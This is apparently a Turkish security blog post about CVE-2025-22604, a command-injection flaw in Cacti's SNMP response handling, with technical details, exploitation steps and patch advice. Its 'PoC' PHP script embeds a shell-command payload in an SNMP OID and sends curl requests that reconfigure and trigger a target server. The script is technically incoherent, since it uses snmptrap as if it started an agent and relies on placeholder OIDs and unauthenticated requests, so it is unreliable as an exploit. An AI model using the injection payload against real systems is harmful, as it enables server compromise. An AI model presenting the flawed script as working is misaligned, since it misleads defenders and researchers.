CVE-2025-22604, Cacti’nin çok satırlı SNMP (Simple Network Management Protocol) yanıtlarını işleme biçimindeki bir zafiyetten kaynaklanmaktadır. Bu güvenlik açığı, kimliği doğrulanmış ve cihaz yönetim izinlerine sahip bir kullanıcının, özel olarak hazırlanmış SNMP yanıtları aracılığıyla sunucuda rastgele kod çalıştırmasına olanak tanır. Saldırganlar, SNMP yanıtlarına kötü amaçlı Nesne Tanımlayıcıları (OID’ler) enjekte ederek, bu yanıtların işlenmesi sırasında sistem komutlarının içine zararlı kod ekleyebilirler.
Teknik Detaylar:
- SNMP Yanıtları İşleme: Cacti, SNMP sonuçlarını işlemek için
cacti_snmp_walk()fonksiyonunu kullanır ve bu fonksiyon, çok satırlı yanıtları bir diziye dönüştürmek içinexec_into_array()fonksiyonunu çağırır. Bu süreçte, hatalı biçimlendirilmiş OID’ler bu yanıtlara enjekte edilebilir. - Komut Enjeksiyonu:
ss_net_snmp_disk_io()vess_net_snmp_disk_bytes()fonksiyonları, SNMP yanıtlarından elde edilen OID’lerin bazılarını dizilerde anahtar olarak kullanır. Bu diziler daha sonra sistem komutlarının oluşturulmasında kullanılır. OID’lerin yetersiz filtrelenmesi nedeniyle, saldırganlar kötü amaçlı komutlar enjekte edebilir. - Shell Komutu Çalıştırma: JSON formatındaki veriler,
shell_exec()fonksiyonu aracılığıyla bir shell komutuna aktarılır. Buradaki yanlış tırnak kullanımı, saldırganların dışarı çıkmasına ve rastgele komutlar çalıştırmasına olanak tanır.
İstismar Senaryosu

Güvenlik araştırmacıları, bu güvenlik açığının nasıl istismar edilebileceğine dair bir kanıt-of-concept (PoC) yayınlamışlardır. İstismar adımları şu şekildedir:
- Kötü amaçlı bir SNMP ajanı başlatılır ve bu ajan, zararlı OID’leri içeren yanıtlar üretir.
- Hedef Cacti cihazının SNMP portu, bu kötü amaçlı ajana yönlendirilir.
- Cihaza “Net-SNMP – Combined SCSI Disk I/O” grafik şablonu uygulanır.
- Grafik ağacında ilgili cihaza gidilir ve “Combine SCSI Disk I/O” grafiği altında “Gerçek Zamanlı Görüntüle” seçeneği seçilir.
- Bu adımlar sonucunda, kötü amaçlı OID’ler işlenir ve saldırganın enjekte ettiği komutlar sunucuda çalıştırılır.

PoC İstismar Kodu:
<?php
// Kötü amaçlı SNMP ajanı yükü
$payload = '1.3.6.1.4.1.x.x.x = STRING: "; /bin/bash -c \'echo hacked > /tmp/hacked\' ;"';
// SNMP ajanını başlat
exec("snmptrap -v 2c -c public localhost '' $payload");
// Cacti'yi kötü amaçlı ajana yönlendirme
$cacti_url = "http://target-cacti-instance";
$device_id = 1; // Gerçek cihaz ID'si ile değiştirin
$snmp_port = 161; // Kötü amaçlı ajanın portu
// Cihaz yapılandırmasını güncelle
exec("curl -X POST $cacti_url/device.php -d 'id=$device_id&snmp_port=$snmp_port'");
// İstismarı tetikle
exec("curl $cacti_url/graph_realtime.php?device_id=$device_id");
?>
Etkilenen Sürümler ve Cihazlar
Bu güvenlik açığı, Cacti’nin 1.2.28 ve önceki sürümlerini etkilemektedir. Cacti ekibi, bu güvenlik açığını gidermek için 1.2.29 sürümünü yayınlamıştır.
Çözüm ve Öneriler
Bu kritik güvenlik açığından korunmak için aşağıdaki adımlar önerilmektedir:
- Yazılım Güncellemesi: Cacti’nin en son sürümü olan 1.2.29’a derhal güncelleme yapılmalıdır.
- Erişim Kontrolleri: Cacti arayüzüne erişim, yalnızca güvenilir kullanıcılarla sınırlandırılmalı ve ağ erişimi kısıtlanmalıdır.
- Günlük İzleme: SNMP yanıtlarında olağandışı veya kötü amaçlı OID’lerin varlığına karşı sistem günlükleri düzenli olarak izlenmelidir.
Sonuç ve Öneriler
CVE-2025-22604 güvenlik açığı, ağ izleme araçlarının güvenliğinin ne kadar kritik olduğunu bir kez daha göstermektedir. Bu tür araçların güvenlik açıkları, ağın genel güvenliğini tehlikeye atabilir ve saldırganlara sistemlere sızma fırsatı verebilir. Bu nedenle, ağ güvenliği profesyonellerinin kullandıkları yazılımları düzenli olarak güncellemeleri, güvenlik açıklarını yakından takip etmeleri ve gerekli önlemleri almaları hayati öneme sahiptir.
#SiberGüvenlik #AğGüvenliği #Cacti #CVE202522604 #SNMP #UzaktanKodYürütme
